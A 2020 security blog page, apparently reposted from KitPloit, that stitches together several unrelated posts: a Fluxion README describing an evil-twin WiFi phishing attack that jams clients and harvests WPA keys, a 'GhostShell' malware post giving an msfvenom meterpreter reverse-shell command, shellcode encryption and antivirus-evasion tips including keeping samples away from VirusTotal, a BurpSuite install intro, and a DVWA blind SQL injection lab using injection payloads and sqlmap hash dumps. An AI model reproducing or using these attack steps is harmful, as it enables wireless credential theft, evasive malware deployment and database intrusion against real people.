quarta-feira, 3 de junho de 2020

Fluxion - Set Up Fake AP, Fake DNS, And Create Captive Portal To Trick Users Into Giving You Their Password





Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the FAQ before requesting issues.
If you need quick help, fluxion is also avaible on gitter. You can talk with us on Gitter or on Discord.

Installation
Read here before you do the following steps.
Download the latest revision
git clone --recursive git@github.com:FluxionNetwork/fluxion.git
Switch to tool's directory
cd fluxion 
Run fluxion (missing dependencies will be auto-installed)
./fluxion.sh
Fluxion is also available in arch
cd bin/arch
makepkg
or using the blackarch repo
pacman -S fluxion

Changelog
Fluxion gets weekly updates with new features, improvements, and bugfixes. Be sure to check out the changelog here.

How it works
  • Scan for a target wireless network.
  • Launch the Handshake Snooper attack.
  • Capture a handshake (necessary for password verification).
  • Launch Captive Portal attack.
  • Spawns a rogue (fake) AP, imitating the original access point.
  • Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal.
  • Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key.
  • Spawns a jammer, deauthenticating all clients from original AP and lureing them to the rogue AP.
  • All authentication attempts at the captive portal are checked against the handshake file captured earlier.
  • The attack will automatically terminate once a correct key has been submitted.
  • The key will be logged and clients will be allowed to reconnect to the target access point.
  • For a guide to the Captive Portal attack, read the Captive Portal attack guide

Requirements
A Linux-based operating system. We recommend Kali Linux 2 or Kali rolling. Kali 2 & rolling support the latest aircrack-ng versions. An external wifi card is recommended.

Related work
For development I use vim and tmux. Here are my dotfiles

Credits
  1. l3op - contributor
  2. dlinkproto - contributor
  3. vk496 - developer of linset
  4. Derv82 - @Wifite/2
  5. Princeofguilty - @webpages and @buteforce
  6. Photos for wiki @http://www.kalitutorials.net
  7. Ons Ali @wallpaper
  8. PappleTec @sites
  9. MPX4132 - Fluxion V3

Disclaimer
  • Authors do not own the logos under the /attacks/Captive Portal/sites/ directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research.
  • The usage of Fluxion for attacking infrastructures without prior mutual consent could be considered an illegal activity, and is highly discouraged by its authors/developers. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.

Note
  • Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware.
  • Fluxion DOES NOT WORK on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be Closed Immediately

Links
Fluxion website: https://fluxionnetwork.github.io/fluxion/
Discord: https://discordapp.com/invite/G43gptk
Gitter: https://gitter.im/FluxionNetwork/Lobby




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GhostShell - Malware Indetectable, With AV Bypass Techniques, Anti-Disassembly, And More


In this malware, are used some techniques to try bypass the AVs, VMs, and Sandboxes, with only porpuse to learning more. I'm not responsible for your actions.

Bypass Techniques

Anti-Debugger
To try bypass the Debuggers, I'm using the "IsDebuggerPresent()" of "Windows.h" librarie to checks if a debugger is running.

Anti-VM / Anti-Sandbox / Anti-AV
  • Enumerate Process Function
    Enumerates all process running on the system, and compares to the process in the black-list, if found a process and this is equal to any process in the black-list returns -1 (identified).
  • Sleep Acceleration Check Function
    First, gets the current time, and sleeps 2 minutes, then, gets the time again, and compare, if the difference is less than 2, returns -1 (identified).
  • Mac Address Check Function
    Gets the system mac address and compare to the macs, in the black-list, if the system mac address is equal to any mac in the black-list returns -1 (identified).

Generating the Shellcode



To generate the shellcode type in the terminal: msfvenom -p windows/meterpreter/reverse_shell lhost=(IP) lport=(PORT) -f c, copy the shellcode generated and encrypt it.
To encrypt shellcode use the encrypt_shellcode script.
On linux type: ./encrypt_shellcode e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(shellcode)""
On windows type: encrypt_shellcode.exe e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(YOUR_SHELLCODE)""

How to compile for Windows on Linux
To compile for Windows on Linux, first, install mingw-w64: sudo apt-get install mingw-w64, then, to compile for 32 bits: i686-w64-mingw32-gcc -o main.exe main.c -l psapi -static, and to 64 bits: x86_64-w64-mingw32 -o main.exe main.c -l psapi -static

Credits
Credits for https://github.com/rastating, the encrypt_shellcode is based on a post of your github.io: https://rastating.github.io/creating-a-shellcode-crypter/

Atention!!!
To check if the antivirus is detecting the malware, NEVER send it to the virustotal, IT WILL BE SENT TO THE ANTIVIRUS COMPANIES AND WILL BE BROKEN, to analyze, send it to https://www.hybrid-analysis.com/ and remember to check the option "Do not send my sample to non-affiliated third parties", as in the example below.




via KitPloit

More info


BurpSuite Introduction & Installation



What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.











Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from   https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/


If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.


Video for setup and installation.




You need to install compatible version of java , So that you can run BurpSuite.

More information


Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."
To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:
Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:
Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:
' or 1=1-- -
This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:
' or 1=1 order by 1-- -
Again we get a valid response lets increase the number to 2.
' or 1=1 order by 2-- -
We get a valid response again lets go for 3.
' or 1=1 order by 3-- -
We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:
1' and substring(version(), 1,1) = 1-- -
Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:
1' and substring(version(),1,1) = 2-- -
And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:
sqlmap --version
this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id
Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables
After getting the list of tables its time to dump the columns of users table like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns
And at last we will dump the passwords column of the users table like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump
Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all
But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

More info


  1. Pentest Vs Ethical Hacking
  2. Hackerrank Sql
  3. Pentest Documentation
  4. Hacking Page
  5. Pentestgeek
  6. Hacking Growth
  7. Pentest Cheat Sheet
  8. Hacking Browser
  9. How To Pentest A Website With Kali
  10. Pentest Dns